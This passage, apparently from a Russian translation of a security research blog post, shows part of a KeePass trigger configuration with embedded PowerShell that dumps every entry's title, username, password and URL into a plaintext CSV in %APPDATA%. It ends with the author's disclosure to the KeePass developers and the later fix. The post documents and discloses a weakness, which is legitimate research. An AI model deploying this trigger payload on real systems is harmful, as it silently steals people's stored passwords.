$env:APPDATA -Name 'extract.csv' | Out-Null;};foreach($line in gc $env:APPDATA'\extract.csv'){$eus+=' -'+$line.Split(',')[0];}echo $eus;"/M=C,W:0,O:1,WS=H/}}';echo $uid;if(!($uid.StartsWith('{REF'))){ac -Path $env:APPDATA'\extract.csv' -Value $uid -NoNewline;}"&M=C,W:0,O:1,WS=H&}{CMD:&PowerShell.exe -C "$title='{REF:T@I:{CMD:/PowerShell.exe -C "echo (gc -Path $env:APPDATA'\extract.csv')[-1];"/M=C,W:0,O:1,WS=H/}}';$user='{REF:U@I:{CMD:/PowerShell.exe -C "echo (gc -Path $env:APPDATA'\extract.csv')[-1];"/M=C,W:0,O:1,WS=H/}}';$password='{REF:P@I:{CMD:/PowerShell.exe -C "echo (gc -Path $env:APPDATA'\extract.csv')[-1];"/M=C,W:0,O:1,WS=H/}}';$url='{REF:A@I:{CMD:/PowerShell.exe -C "echo (gc -Path $env:APPDATA'\extract.csv')[-1];"/M=C,W:0,O:1,WS=H/}}';$output=','+$title+','+$user+','+$password+','+$url;echo $output;if(!($title.StartsWith('{REF'))){ac -Path $env:APPDATA'\extract.csv' -Value $output;}else{echo 'stop';}"&M=C,W:0,O:1,WS=H&}</Parameter> <Parameter>0</Parameter> <Parameter>stop</Parameter> </Parameters> <Negate>false</Negate> </Condition> </Conditions> <Actions /> </Trigger>
Время проверки!
Выполнив код на нашей тестовой базе данных, мы видим, что идентификаторы UUID записей успешно заполняются в %appdata%\extract.txt 🙂
Послесловие Я связался с разработчиками KeePass, которые уже работают над исправлением. В результате в июне 2023 года была выпущена версия 2.54 с исправлениями. Они включают в себя новый способ управления триггерами в файле конфигурации (доступный только привилегированным пользователям).
Метод извлечения по-прежнему работает, но теперь для него требуются права администратора. Поскольку злоумышленник с такими привилегиями может использовать практически любой другой метод извлечения (например, вредоносный плагин, инъекции DLL, и т.д.), я считаю, что этот сценарий не следует рассматривать в модели угроз KeePass. На мой взгляд, мониторинг каталога приложений на предмет вредоносного использования представляется более актуальным.
P.S.: Возможно, я не нашел наиболее эффективного способа объединить эти функции KeePass для извлечения паролей. Если этот пост натолкнул вас на какие-то идеи, не стесняйтесь обращаться ко мне для совместного улучшения содержимого! Со мной легко связаться в социальных сетях, которые показаны на левой панели блога.
Данная статья является переводом с английского языка статьи «KeePass Triggers Are Dead, Long Live KeePass Triggers!» автора d3lb3_























